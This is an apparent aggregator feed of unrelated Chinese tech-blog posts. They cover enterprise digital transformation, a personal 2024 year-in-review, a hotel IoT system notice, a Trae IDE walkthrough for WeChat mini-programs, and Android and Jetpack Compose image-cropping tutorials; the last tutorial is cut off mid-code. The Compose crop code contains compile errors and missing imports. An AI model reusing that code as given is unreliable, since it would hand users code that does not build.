我认为,一个 “统一、开放、分层” 的架构是关键。 这样的架构能够包容各种技术和应用,可以让我们更好地管理数据,让数据在内部流通,也可以与外部的数据进行连接。当然,要实现这样的架构,需要企业有一定的技术储备和规划能力,但很多企业可能并不具备这样的能力。

三大实践路径:通向数字原生的落地指南

构建数字原生企业并非一蹴而就,它需要技术、架构和生态的深度协同。以下是三条实践路径,帮助企业逐步实现数字化转型。

一、“休克疗法” ,这需要企业有足够的决心和勇气,能够暂时放下业务开发,专注于架构的重构,这种方法在竞争压力较小的环境下可能可行,但在现在竞争激烈的市场环境下,就需要慎用。

二、通过数据中台先把数据打通,因为数据中台对业务系统的影响相对较小,而且可以通过数据打通来逐步推动业务系统的改造和升级。

三、基于业务中台打通,这也需要企业在数据打通的基础上,进一步建设自己的通用能力。

在公有云和私有云的选择上,如没有特殊的需求,公有云就已足够,因为公有云已经足够成熟和稳定,可以满足大部分企业的需求。

与外部平台对接上,需要一个全渠道的管理系统来管理与各个平台的数据连接,这样就可以通过一个统一的界面来管理业务,而不是分别登录不同的后台。同时,也需要警惕开放平台的风险,确保数据在受控的范围内流动。

在人工智能的应用上,需要找到合适的场景和平台进行合作。因为人工智能的三要素——算法、数据和算力,都需要巨大的投入。如果业务量不够大,可能就无法承担这样的投入。所以,可以先找到我们的场景,然后与提供 AI 能力的平台进行合作,利用他们的 PaaS 能力来解决我们的问题。当我们的业务量足够大时,再考虑自己做 AI 的研发和应用。

数字化没有银弹

首先,一定要得到企业一把手的全力支持。因为数字化转型是一个涉及整个企业的事情,需要各个部门的配合和流程的改造。

其次,数字化没有银弹,也不是万能的。 它需要我们持续投入和迭代,才能产生真正的价值。

同时,我们也需要有长期的思考和规划,但也要着眼于短期的落地。因为如果我们短期一直没有成果出来,压力会越来越大;但如果我们只关注短期项目,没有长期的思考和方向,也会失去积累和沉淀的机会。

此外,还需要考虑如何与外部团队分工合作。外部团队可以帮我们做一些规划和研发落地的工作,但企业自身团队也需要有懂技术和懂业务的人才。只有这样,才能更好地推动数字化转型的进程。

结语

数字化转型不是功能的建设,而是一个持续迭代的过程,需要用运营的思维去推动整个数字化的演进,用创新的精神拥抱变化。数字化转型没有终点,迈向数字原生才能基业长青,企业才能在未来的竞争中行稳致远,真正实现数字化的价值。

by 腾讯云开发者 at January 23, 2025 09:53 AM

2024 年终总结|问题解决了彼此、收房、寻找旷野、学习“落子无悔”...

记录下本文历经完善的时间:

  • 2024 年 12 月 29 日,夜深,起笔...
  • 2025 年 1 月 1 日,同为深夜,继续...
  • 2025 年 1 月 14 日,年会,喝了点点酒,继续...
  • 2025 年 1 月 21 日,最近连续加班...
  • 2025 年 1 月 23 日,临近新年...

前言

一年将至,打开尘封许久的家中备用电脑,擦擦灰,回忆便不受控制的如潮水一般涌来,容我点一根,慢慢捋捋,慢慢诉说...

和往常一样,复杂的情绪,莫名的忧伤,再度感叹的一年...

就像,取这个标题一样,总要想出几个关键字,简短的概括下即将过去的一年。可我又喜欢六,喜欢六六大顺,也想凑个六段概括。

但是啊,

岂能事事尽如人意,如此甚好,将满未满。

希望下一年,可以微笑着回望,真正凑齐属于自己的六六大顺。

回望

其实想想,今年似乎完成的事情不多,值得自己叉着腰,夸夸自己的也少。

不过,总要掰着手指头,找出几件,夸夸自己吧~

首次自驾游 (๑・ˍ・)

从想法萌生到落地,很快。

买车的初衷,其实我也说不清楚是什么。

原因细想想,应该有很多吧:

  • 可能是某次拼车回家,路上询问师傅是否可以去超市给家里买点东西,准许后又被催得不舒服。
  • 可能是某次拼车回京,路上师傅叨叨半天的离得太远,不值当。后续替他买了早餐,还是絮絮叨叨引起不痛快?
  • 也可能是逢年过节时,和家里人蹭别人车子,来往的局促。
  • ...

当时还记得刚提车之后,每天下班都要开出去溜达一圈,也多次因为不熟悉各种绕路,但是那个时候是真的快乐。

。。。

后续的后续,因为一些不愉快,正好在她生日前期,所以计划着一起来一波自驾四日游...

自驾.jpg

也算是今年或者说是,这么大,首次出游吧。

整体还算是不错的。

不过也发现了自己的一些问题,包括规划还是不够详尽。

算是第一次,我们自驾游,也是最后一次...

收房 ꒰⑅°͈꒳°͈꒱・*♡♡♡

image.png

回顾,感触偏多,暂分几小节吧...

碎碎念

image.png

从 23 年 2 月份,到 24 年 11 月,持续一年多的时间,终于短暂的落停了。

其实房本还要再回去两趟,才要拿到的。麻了,不过也好,回去,也挺舒服的。心里会莫名的开心,尤其踏在故土的时候,感受更为贴切。

23 年的几乎所有的假期,全部都用在了房子的事情上,每一步都要回去,真的是很烦人。

在这期间,各种的沟通不顺,真的是让人无语到极点,后续也曾大闹售楼部一通 (真给我惹急眼了)...

相对较为不错的是,正常交付,至少没烂尾,虽说交付的标准,真的是...拉...胯...

不过嘛,索幸后续的客关部跟进及时,也算是慰藉了一番。

一起简单的看下小房子吧...

Kapture 2025-01-21 at 21.32.54.gif

我也曾,在这里畅想过...

慢慢变老.jpg

微微心酸

收房那天,从村儿里出发前,我妈突然要个口罩,大概的意思就是,别因为这个让人看着不好之类的。

莫名的心酸吧,那种感觉真的是...

期间整个人的状态就是,一只炸毛的刺猬,胆敢有一丁点对我家里人不尊重的地方,瞬间放大爆发...

所幸,一切安好。

带着我妈,从售楼部一楼逛到二楼,然后歇息歇息,签字、补交面积款。接着就是到小区物业,开始正式办理物业的一大堆文件...

在物业的签文件的时候,开始寻思让我妈也看看,我妈说上年纪看不清。物业那个小姑娘就呆坐着,后续还得提醒下,才会帮忙去拿个老花镜过来。

这服务意识,拉胯到极限,还四星级???

表示质疑...

托起了你,就要多低头看看,已经弯了的腰。

小八卦,惹急眼的那个小插曲

image.png

某次,回到张家口,晃晃悠悠到小区,结果好说歹说,保安不让进,最后给我来句没有我这房子。

好好好,我月月还着房贷,你保安上嘴唇碰下嘴唇说我房子没了?

当时一个瞬移,跨过门口闸机,指着小区区域指示牌上的我那栋楼,让保安说这是什么?

保安依旧强势,就是没有你这栋。

好好好,我业主花着钱进不去小区?外卖小哥看都不看直接进?

妈耶,离了个大谱...

保安队长过来后,那个牛掰劲儿。

好好好,非逼人发火是吧。那就变身呗~

三步跨坐两步冲到售后部就开启了骂街模式,不过瘾,进一楼办公室继续开喷。还不过瘾,上二楼客户讲解、签字处继续骂。

期间,置业顾问让注意影响。笑话,我房子都没了,影响,影响个锤子。

后续的后续,来个官儿,算是说了几句中听的话。

再后来,算是顺利进去小区里了...

嗷,后来在进楼里面的时候,小队长还故意找点事儿,得亏销售跟过来了。

有些东西,不在乎,是因为还没有触碰底线。

旷野,自由 (。◕ˇ∀ˇ◕)

找不到目标和意义的时候,那就出去走走吧。

脚步丈量世界~

拿下摩托车本 C1D

image.png

害,最初想搞个摩托车本儿,就是抖音看多了。

速度起来,头盔朝下一甩,放着 DJ,飒得很...

很难不说心痒痒。

另外,还有个比较无奈的原因,后续自己一个人的周末时,总是会喝点小酒,喝着喝着,就给自己喝懵了。

出去吧,懒得动。但是休息吧,光躺着,又觉得浪费。

索性,搞一把。

后续的那段日子,简直给我折磨够呛。

当时的海驾摩托一天可以选择三个时间段,相比较早上还合适点,最起码下午两三点也坐着班车就回家了。但是,但是,班车六点一刻,妈耶,后续我多次问自己,怎么想的?

不过,顺顺利利一把过了。

咱也算是增驾成功了~

尝试一个人走出去

自由.jpg

来帝都好些年了,也没过长城,凤凰岭也算是二刷,还是三刷了,忘记了。

周末喝酒,不如出去寻找自由,看看大好河山,让自己的心境无形中更提升一波。

实话说,凤凰岭爬完之后腿疼了差不多四天,反倒是长城爬完毫无感觉...

“烟花三月”下扬州

春不晚.jpg

这些年的朋友,越走越远,越走越散...

能留下的少之又少。

某次加班后,等车的过程,也曾感叹到,我也曾是个周末夜夜笙歌的人呐...

短暂的两天,快了些...

遗憾的是,一个人,孤单了点...

Job (´◔‸◔)

没写之前,有很多话想说。

那个场面真的是,叼一根,洋洋洒洒的一吐为快。

后续的后续。

害。

去年,无事故。

感情( ´・・)ノ(._.)

image.png

就如同标题一样。

没能解决问题,却被问题解决了我们。

兜兜转转,很多年了。

也曾,短暂的拥有过有家的感觉...

不知道,为什么,后续的后续,变得都不认识彼此...

似乎任何一点的东西,都会被过分解读,到底是关心,还是找事儿?还是?

不知道。

我希望你幸福,却又见不到身边的那个人不是我。

我也曾努力过,但是你未曾看到过。

爱过,无悔

好可惜

莫名情愫(•ㅂ•)/♥

有些事情的发生,远在意料之外。

剧本般的走向,似乎让人无可奈何。

总说距离不是问题,可当现实的因素摆在面前,又有几人能够独善其身?

写好的功能,最后还能被改。

一眼望到头的故事,还会有更美好的结局吗?

小车首次“全责” (•́ . •̀)

先让 xdm 开心开心,看看风景:

image.png

不得不说,有时候人的预感还是很准。

某次回家的路上,依然是熟悉的乡村道路,连续会车之后,看到对向行驶过来的车子,莫名觉得二把手,就减速靠边、主动让行。

未曾想,还是 peng 的一声,当时那个心啊。立刻停车,对方还在继续往前开...

大姐下来哭哭唧唧,高喊倒霉,随后开始叫人,先老爹、后老公。

再后来还说什么出警 200 费用谁付?嗯?然后就开始絮絮叨叨的说前几天追尾,怎么怎么...

懒得听了,就询问了下保险的小姐姐,大概率就是五五开分。如果搞幺蛾子,不要让他动你三者。

当时比较搞笑的是,她爹过来直接污言秽语,开始我寻思反击,最后想想点根烟,好好说,不和傻狗一般见识。早处理早完事儿。反正我的小车没事儿~

然后,一手叼着烟,拿着二拇指头点着她爹,有事儿好好说,少给我骂骂咧咧,不行找警察,再不行找人枪毙我来。

嘿,你还别说,老爷子沉默了...

更为搞笑的是,她爹寻思让我掏两百给他,这事儿私了,我还没说啥,人老公放话了,我这新车,一个后视镜好几千呢。直接新车成了二手车了?结果,这几人开始吵吵起来了...

离谱...

实在是看不下去,吼了一嗓子,让你们能做主的人过来和我谈。这厮来句我老公,结果人爹不乐意了,扭头就走。哈哈哈哈哈哈

后续就是和交警沟通,完事儿就定个“全责”。

因为确实没时间掰扯,完事儿准备走了,这两蠢货怕我跑了,非拦着要加微信。后续我和人家要行车记录仪视频,也没搭理我。

算了,破财免灾了...

展望

旧人,不入新年。

旧事,就当教训。

今年的展望,文艺一下吧。

落子无悔

一个好的心态,总会让人在任何处境下,看到积极向上的一面。

停止内耗,积极拥抱。

走错一步,又何妨?

感情˙⚇˙

人海茫茫,别轻易回头与将就,好好经营自己,感恩生活里的小确幸,自然会有良人来爱。

工作╮( •́ω•̀ )╭

尽心尽力,完成每一项,让自己有所得,有所长。

软技能(๑‾ ꇴ ‾๑)

踏踏实实,沉淀沉淀。

小屋(‾◡◝)

看看能不能攒点钱,硬装搞一下。

结束语

最后的最后,感谢看到这里的屏幕前的你。

愿你我,新的一年,钱多多,家人身体健康~

最后,分享几个郭麒麟语录,共勉之~

image.png

image.png

by 贺biubiu at January 23, 2025 09:38 AM

oschina news project

【店滴云】智能酒店管理系统前台管理端上线

【店滴云】智能酒店管理系统前台管理端上线

店滴云,让经营场所,更智能。围绕茶室、酒店、健身房、公寓、出租房等经营性场所进行物联网改造。同时支持多种物联网通信协议,开放智能门锁,智能开关,智能手环的sdk供开发者使用。可免费商用,授权版赠送官网,单商户电商与多商户电商系统。

更新内容:快捷入住,远程房态,房态修改,快速退房,交接班,房间发卡

 

 

by 来源: 投稿 at January 23, 2025 09:34 AM

juejin android

Compose 实现 `CustomCropImageView`

使用 Jetpack Compose 实现 CustomCropImageView 功能

博客传送门: Android图片裁剪处理

引言

随着 Jetpack Compose 的日益普及,开发者们越来越倾向于使用它来构建现代的、响应式的用户界面。本博客将介绍如何在 Jetpack Compose 中实现一个等效于传统 XML 布局中 CustomCropImageView 的图片裁剪功能。我们将保留原始视图的所有核心特性,包括拖动、缩放、旋转和裁剪。

环境准备

确保项目已经集成了 Jetpack Compose。

创建自定义 Composable 函数

我们将创建一个名为 CustomCropImage 的自定义 Composable 函数,用于展示和裁剪图片。此函数将接受一个 Bitmap 对象作为参数,并返回裁剪后的 Bitmap

import android.graphics.Bitmap
import androidx.compose.foundation.Image
import androidx.compose.foundation.background
import androidx.compose.foundation.gestures.detectDragGestures
import androidx.compose.foundation.gestures.detectTransformGestures
import androidx.compose.foundation.layout.Box
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.offset
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.runtime.*
import androidx.compose.ui.Modifier
import androidx.compose.ui.draw.clip
import androidx.compose.ui.draw.drawBehind
import androidx.compose.ui.geometry.Offset
import androidx.compose.ui.geometry.Size
import androidx.compose.ui.graphics.asImageBitmap
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.input.pointer.pointerInput
import androidx.compose.ui.unit.IntOffset
import androidx.compose.ui.unit.dp
import androidx.compose.ui.zIndex
import kotlinx.coroutines.launch

@Composable
fun CustomCropImage(
    bitmap: Bitmap,
    onCropped: (Bitmap) -> Unit
) {
    var offset by remember { mutableStateOf(Offset.Zero) }
    var scale by remember { mutableStateOf(1f) }
    var rotation by remember { mutableStateOf(0f) }
    val scope = rememberCoroutineScope()

    Box(
        modifier = Modifier
            .fillMaxSize()
            .pointerInput(Unit) {
                detectTransformGestures { _, pan, zoom, rotate ->
                    // Update the scale and offset based on gestures
                    scale *= zoom
                    offset += pan
                    rotation += rotate
                }
            }
            .pointerInput(Unit) {
                detectDragGestures { change, dragAmount ->
                    // Update the offset based on drag gesture
                    offset += dragAmount
                    change.consume()
                }
            }
    ) {
        val density = LocalDensity.current
        val cropBoxSize = with(density) { 200.dp.toPx() } // 定义裁剪框大小
        val cropBoxLeft = (size.width / 2 - cropBoxSize / 2)
        val cropBoxTop = (size.height / 2 - cropBoxSize / 2)

        Image(
            bitmap = bitmap.asImageBitmap(),
            contentDescription = null,
            modifier = Modifier
                .offset {
                    IntOffset(
                        (offset.x * scale).roundToInt(),
                        (offset.y * scale).roundToInt()
                    )
                }
                .graphicsLayer(
                    scaleX = scale,
                    scaleY = scale,
                    rotationZ = rotation
                )
                .zIndex(-1f) // 确保图像在裁剪框之下
        )

        // 绘制裁剪框
        Box(
            Modifier
                .offset(cropBoxLeft.roundToInt(), cropBoxTop.roundToInt())
                .width(with(density) { 200.dp.toPx().toInt() })
                .height(with(density) { 200.dp.toPx().toInt() })
                .clip(RoundedCornerShape(4.dp))
                .background(Color.LightGray.copy(alpha = 0.5f))
                .drawBehind {
                    drawRect(
                        color = Color.Blue,
                        style = Stroke(width = 4.dp.toPx()),
                        topLeft = Offset.Zero,
                        size = Size(size.width, size.height)
                    )
                }
                .clickable {
                    scope.launch {
                        // 裁剪图片并调用回调
                        val croppedBitmap = cropImage(bitmap, cropBoxLeft, cropBoxTop, cropBoxSize, cropBoxSize, offset, scale, rotation)
                        onCropped(croppedBitmap)
                    }
                }
        )
    }
}

// 辅助函数:裁剪图像
private fun cropImage(
    original: Bitmap,
    cropBoxLeft: Float,
    cropBoxTop: Float,
    cropBoxWidth: Float,
    cropBoxHeight: Float,
    offset: Offset,
    scale: Float,
    rotation: Float
): Bitmap {
    // 创建一个新的位图来容纳裁剪结果
    val croppedBitmap = Bitmap.createBitmap(
        cropBoxWidth.toInt(),
        cropBoxHeight.toInt(),
        Bitmap.Config.ARGB_8888
    )
    val canvas = Canvas(croppedBitmap)

    // 计算变换矩阵
    val matrix = Matrix()
    matrix.postTranslate(-cropBoxLeft, -cropBoxTop)
    matrix.postScale(1 / scale, 1 / scale)
    matrix.postRotate(-rotation, original.width / 2f, original.height / 2f)
    matrix.postTranslate(-offset.x, -offset.y)

    // 将原始图片绘制到新的画布上,应用变换矩阵
    canvas.drawBitmap(original, matrix, null)

    return croppedBitmap
}

实现细节

  • 手势检测:我们使用了 detectTransformGestures 来处理多点触控的缩放和旋转手势,以及 detectDragGestures 来处理拖动手势。
  • 绘制裁剪框:通过 BoxdrawBehind 方法,我们在图像之上绘制了一个带有边框的半透明灰色裁剪框。
  • 裁剪逻辑:当用户点击裁剪框时,会触发 cropImage 函数,该函数根据当前的偏移量、缩放比例和旋转角度计算出正确的裁剪区域,并生成新的位图。
  • 背景蒙层:为了模拟原生代码中的背景蒙层效果,我们可以简单地在 Box 内部添加一个全屏的 background 并设置为半透明颜色,然后在 drawBehind 中绘制裁剪框路径以清除该区域的颜色。

总结

以上代码片段展示了如何使用 Jetpack Compose 创建一个类似于 CustomCropImageView 的图片裁剪组件,实现了拖动、缩放、旋转和裁剪功能。

by 望佑 at January 23, 2025 09:20 AM

juejin freebie

trae 深度体验:使用trae完美开发微信小程序

trae 深度体验:使用trae完美开发微信小程序

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接: www.trae.ai/?utm_source…

安装 trae

安装 trae 教程和使用文档大家可以参考官方文档,很详细。使用过 vscode 的用户几乎可以无缝切换过来。官方文档:docs.trae.ai/docs/what-i…

目前只支持 mac 系统,windows 预计 2 月份上线。

如果遇到下面的错误,请科学上网解决;

9d570441458a5014cd84fe035457eddc.jpg

trae 项目实战:开发微信小程序

插件安装

要想在 trae 中完美体验小程序开发首先需要安装必要的两个插件WXML微信小程序开发工具

WXML:微信小程序 .wxml 文件代码高亮,标签、属性的智能补全(同时支持原生小程序、mpvue 和 wepy 框架,并提供 code snippets)

微信小程序开发工具:提供小程序预览、打包上传、代码补全、语法高亮、项目模版等功能

安装 “wxml”插件

按照 vscode、trae 的插件安装方式安装就可以顺利安装:

CleanShot 2025-01-23 at 10.39.54

安装 “微信小程序开发工具”插件

这个工具安装有一些曲折,按照 vscode 的使用习惯,首先在插件市场按名称搜索,结果大出意料,没有😄。

image-20250123105253075

不知道是哪里出现了问题,按照官方文档指引去下载。

image-20250123105506806

打开官方的网址 docs.trae.ai/docs/manage…, 全是英文,没关系,使用豆包 APP 打开网页,让豆包总结网页内容就行 😄:

image-20250123110057035

文档中提到了两种方式:

  • 从 Trae 的插件市场中安装(没搜索到微信小程序开发工具插件,此路不通😭)
  • 把插件下载到本地,使用本地安装的方式。看下面动图:

CleanShot 2025-01-23 at 11.05.14

右下角提示,直接安装失败!此路也不行。作为一个程序员折腾是我的本能,看看 trae 的 AI 能力能不能提供帮助。

顺便遇到个 bug:

image-20250123111111794

插件安装失败后,图中的两个按钮点击了都没有任何反应,只能重启 trae 才能解决。

  • 求助 trae 的 AI

    使用快捷键 command + U 打开右侧边栏,输入要问的问题:

    image-20250123112424432

看到上图,这个插件我们已经安装,在 trae chat 中给到的建议是里面有 "小程序开发助手"插件,但是没有提到如何安装。

更换模型,在 chat 的对话框右侧点击切换模型,使用 gpt-4o,来解决插件安装的问题:

image-20250123112853201

多次尝试后,回答还是一如既往的固执。

在AI 给到的回复当中有个插件的命令,不过这个命令适合 vscode。image-20250123113145456

点击运行按钮试试,此时 trae 会自动打开 terminal,直接执行命令

image-20250123113559819

提示安装成功,但是给 vscode 安装了。继续提问:

image-20250123114016037

嗯,还是 vscode 命令,不过也没关系,更换为 trae 就行了:

trae --install-extension /Users/oo7/Downloads/crazyurus.miniprogram-vscode-extension-1.5.1.vsix

等待命令执行完毕:

image-20250123114209616

安装成功。

至此两个插件就安装完毕,可以做小程序的开发了。

小结

在trae中安装用于微信小程序开发的“WXML”和“微信小程序开发工具”插件,过程各有不同:

  • “WXML”插件:按照vscode、trae常规的插件安装方式即可顺利安装。
  • “微信小程序开发工具”插件:在trae插件市场和vscode插件市场均搜索不到,通过从官方文档下载插件本地安装失败,求助trae的AI起初未得到有效解决,最终通过将适用于vscode的安装命令修改为适用于trae的命令trae --install-extension /xxxx/crazyurus.miniprogram-vscode-extension-1.5.1.vsix ,成功安装。
  • 安装完成两个插件后,即可进行小程序开发。 同时,安装插件失败时存在点击重试和关闭按钮无反应的bug,需重启trae解决。
  • 点击 chat 区域的 run 按钮一定要检测命令的安全性(不然遇到非法的命令直接运行结果很严重),同时也建议trae 只复制命令到终端即可。

小程序项目开发

在 trae 中开发小程序,还需要下载微信开发者工具,也许有人会问既然有了微信开发者工具为什么还要使用 trae?

  • 微信开发者工具编写代码远远没有使用 trae 写代码快,bug 多,没有 AI。
  • trae 功能插件丰富、UI nice、拥有免费的 AI👍。
  • 微信开发者工具不能少,微信开发者工具有实时渲染,代码检测、性能分析、一键上传代码等微信小程序必须的功能。

使用 微信开发者工具打开你的项目,并点击打开模拟器和分离窗口,如下图:

image-20250123134947333

然后打开 trae 编辑器,在你的桌面布局中配置如下排列方式:

image-20250123135201768

这样我们就可以实现一边写代码一边调试效果的目地。

编写页面

代码编写

我已经有这样一个页面,不过界面太难看了,使用 Trae 来调试他:

image-20250123140535900

页面 wxml 代码 :

 <!--pages/tools/index.wxml-->
 <navigation-bar
     title="{{pageTitle}}"
     back="{{false}}"
 >
 </navigation-bar>
 <scroll-view
     type="custom"
     scroll-y
     enable-flex="{{false}}"
     scroll-with-animation="{{true}}"
     enable-back-to-top="{{true}}"
     enable-passive="{{true}}"
     show-scrollbar="{{false}}"
     refresher-default-style="white"
     bounces="{{true}}"
     fast-deceleration="{{true}}"
     lower-threshold="{{50}}"
     style="width: 100%; height: 100%;"
 >
     <sticky-section>
         <view class="toolbox" wx:if="{{tools.length > 0}}">
             <view class="item" wx:for="{{toolList}}">
                 <navigator open-type="navigate" hover-class url="{{item.url}}">
                     <image src="{{item.imageUrl}}" fade-in="{{true}}" mode="widthFix"></image>
                     <text class="title">{{item.title}}</text>
                     <view  class="description">
                         <text><span class="iconfont  icon-Fire-fill-red"></span>{{100}}</text>
                         <text class="description_right">去创作 <span class="iconfont icon-ChevronRight" style="font-size: 12px;"></span></text>
                     </view>
                 </navigator>
             </view>
         </view>
     </sticky-section>
 </scroll-view>

界面样式实在太丑了,对 .description 进行样式修改。在 index.wxss 文件中,选中 .description 的样式,在悬浮工具条中点击添加到对话,然后我们在对话区域输入我们的修改要求,trae 进行回答。然后点击应用按钮,可以直接把新的代码插入到源文件对应的行。并且 trae 还很贴心的显示了新旧代码的区分。

CleanShot 2025-01-23 at 14.23.05

最后完成页面的修改,看效果:

image-20250123145057241

index.wxss

 @import '../../asseat/iconfont.wxss';
 
 .toolbox {
     display: flex;
     flex-direction: row;
     flex-wrap: wrap;
     justify-content: space-around;
 }
 
 .toolbox .item {
     display: flex;
     flex-direction: row;
     flex-wrap: wrap;
     justify-content: space-around;
     width: 45%;
     background-color: white;
     margin-bottom: 20px;
     box-shadow: 0 3px 5px rgba(0, 0, 0, 0.1);
 }
 
 .toolbox .item image{
     /* height: 50px;*/
     /* max-width: 100px; */
     width: 100%; 
     overflow: hidden;
     /* border-radius: 5px; */
     border-top-left-radius: 5px;
     border-top-right-radius: 5px;
 }
 
 .toolbox .item .title {
     line-height: 40px;
     font-size: 15px;
     /* white-space: normal; */
     align-items: center;
     width: 100%;
     padding-left: 10px;
     font-weight: 400;
     text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.3)
 }
 
 .description {
     display: flex;
     flex-direction: row; /* 修改为列布局 */
     flex-wrap: nowrap;
 }
 .description .iconfont{
     font-size: 12px;
 }
 .description text {
     display: inline;
     line-height: 20px;
     font-size: 12px;
     width: 100%;
     padding-left: 10px;
     font-weight: 400;
     /* text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.3) */
  }
  .description text:first-child{
      color: red;
  }
 
 .description .description_right{
     font-size: 12px;
     text-align: right;
     width: 95%;
     display: inline-block;
     margin-right: 5px;
     color: #3cc51f;
 }

如果我们需要回溯代码的历史记录,我们可以选中代码,然后在工具条中选择编辑即可查看。

image-20250123145436290

再来看动图,效果杠杠的🐂:

CleanShot 2025-01-23 at 15.20.41

使用设计图转换为小程序代码

首先我们准备一个页面的设计图

image-20250123161559306

然后使用快捷键 command+U打开右侧的chat 区域,把设计图粘贴进去,并进行对话。输入对话内容:把上图的样式布局转换为微信小程序的代码。看下面动图:

CleanShot 2025-01-23 at 16.13.00

这样会生成对应微信小程序的3个文件: index.wxml、index.wxss、index.js ,然后我们使用应用按钮,将代码插入到对应的文件即可。看最后的效果:

image-20250123161916511

看着效果还行,如果在使用过程中效果不是很好,可以多尝试几次。

小结

1、我们在编写代码过程中与AI 助手聊天,可以指定Trae中的内容(例如代码、文件、文件夹和工作区)作为AI助手阅读和理解的上下文。这 可确保AI助手的响应更符合您的需求。

image-20250123162808495

大家在使用AI的过程中,普遍感觉就是AI不能代替程序员,写出来的代码基础就不能用,原因就是一般的 AI 无法理解用户的工程文件结构黑内容,更无法知道你文件之间、代码直接的关系。trae 做到了,通过项目、文件、代码直接的逻辑生成的答案更贴合实际情况,所以效果会更好些。

2、将图片直接转换为代码依赖强大的多模态模型,大大减低了程序员的工作量。不需要依赖任何内容,将生成的内容稍微修改就可以直接使用, good job 👍。

代码管理

trae 无缝集成了 git 的代码管理功能,我们只需要点点按钮就可以了。可以通过下面的两种方式激活代码管理:

  • 如果当前打开的文件夹没有 Git 仓库,请单击初始化仓库以为其初始化一个仓库。初始化完成后,源代码控制将被启用。
  • 单击发布到 GitHub直接将此文件夹发布到 GitHub 仓库。发布后,可以访问源代码控制。

image-20250123164831862

Trae配置

熟悉 vscode 的用户,对于配置 Trae 也很简单,使用快捷键 command+, 打开设置项:

根据自己的喜好配置即可。

image-20250123165241398

总结

  • 安装 Trae:可参考官方文档进行安装,使用过 VS Code 的用户能无缝切换。

  • 插件安装

    WXML 插件:按常规方式顺利安装,可实现代码高亮、智能补全等功能。

    微信小程序开发工具插件:在市场搜索无果,本地安装失败。最终将适用于 VS Code 的命令修改后成功安装。安装失败时存在按钮无响应的 Bug,需重启 Trae 解决。

    Trae 的插件市场有部分插件是无法搜索到(具体原因未知),遇到无法安装的插件建议使用离线安装的方式,使用命令安装,

  • 小程序项目开发

    结合工具:同时使用微信开发者工具和 Trae,微信开发者工具于实时渲染等,Trae用于高效代码编写和利用 AI 功能。

    代码编写:可选中代码向 Trae 的 AI 提出修改要求,直接将新代码插入源文件,还能查看代码历史记录。

    • 设计图转换代码:依赖多模态的能力,可以在 chat 区域,粘贴设计图并对话,可生成小程序代码文件,效果不佳时可多次尝试。
    • 代码管理:无缝集成 Git 功能,可通过初始化仓库或发布到 GitHub 激活源代码控制。
    • 配置 Trae:熟悉 VS Code 的用户可使用快捷键打开设置项进行个性化配置。

by demo007x at January 23, 2025 09:19 AM

juejin android

Android图片裁剪处理

前言

本文将介绍如何构建一个支持图片选择、裁剪(包括手动缩放和旋转)、以及保存到自定义路径的Android应用demo。


步骤 1: 设置权限

首先,在AndroidManifest.xml中添加必要的权限:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

对于 Android 6.0 (API level 23) 及以上版本,需要在运行时请求权限。


步骤 2: 创建布局文件

创建一个简单的布局文件activity_main.xml,包含一个用于显示图片的CustomCropImageView,以及几个按钮用于控制裁剪操作。

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <com.example.CustomCropImageView
        android:id="@+id/customCropImageView"
        android:layout_width="match_parent"
        android:layout_height="wrap_content" />

    <Button
        android:id="@+id/buttonPickImage"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Pick Image"
        android:layout_below="@id/customCropImageView" />

    <Button
        android:id="@+id/buttonCrop"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Crop"
        android:layout_toEndOf="@id/buttonPickImage"
        android:layout_below="@id/customCropImageView" />

    <Button
        android:id="@+id/buttonCancel"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Cancel"
        android:layout_toEndOf="@id/buttonCrop"
        android:layout_below="@id/customCropImageView" />

    <Button
        android:id="@+id/buttonSave"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Save"
        android:layout_toEndOf="@id/buttonCancel"
        android:layout_below="@id/customCropImageView" />
</RelativeLayout>

步骤 3: 实现自定义View CustomCropImageView

接下来,我们将详细实现CustomCropImageView,这个自定义视图负责所有与裁剪相关的交互逻辑。

compose版本传送门:CustomCropImageView

CustomCropImageView.java


```java
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.graphics.RectF;
import android.util.AttributeSet;
import android.view.GestureDetector;
import android.view.MotionEvent;
import android.view.ScaleGestureDetector;
import android.widget.FrameLayout;

public class CustomCropImageView extends FrameLayout {

    // 成员变量定义
    private Bitmap mBitmap; // 要裁剪的图片
    private Matrix mMatrix = new Matrix(); // 用于变换(缩放、旋转)图像的矩阵
    private RectF mRect = new RectF(); // 定义裁剪框的位置和大小
    private float[] mLastTouchPos = new float[2]; // 上次触摸位置,用于计算移动距离
    private float[] mCurrentPos = new float[2]; // 当前触摸位置,用于更新图像位置
    private float mRotation = 0f; // 图像的旋转角度
    private boolean mIsDragging = false; // 标记是否正在拖动图像
    private ScaleGestureDetector mScaleDetector; // 检测多点触控缩放手势
    private GestureDetector mGestureDetector; // 检测单点触控手势(如点击)

    // 构造函数,初始化自定义视图
    public CustomCropImageView(Context context, AttributeSet attrs) {
        super(context, attrs);
        // 初始化手势检测器
        mScaleDetector = new ScaleGestureDetector(context, new ScaleListener());
        mGestureDetector = new GestureDetector(context, new GestureListener());
    }

    @Override
    protected void onDraw(Canvas canvas) {
        super.onDraw(canvas);

        if (mBitmap != null) {
            // 绘制背景蒙层,使非裁剪区域变暗
            drawOverlay(canvas);

            // 保存当前Canvas状态,以便稍后恢复
            canvas.save();
            // 将Canvas原点移动到裁剪框中心,进行旋转操作
            canvas.translate(mRect.centerX(), mRect.centerY());
            canvas.rotate(mRotation);
            // 移回原点以绘制旋转后的图像
            canvas.translate(-mRect.centerX(), -mRect.centerY());
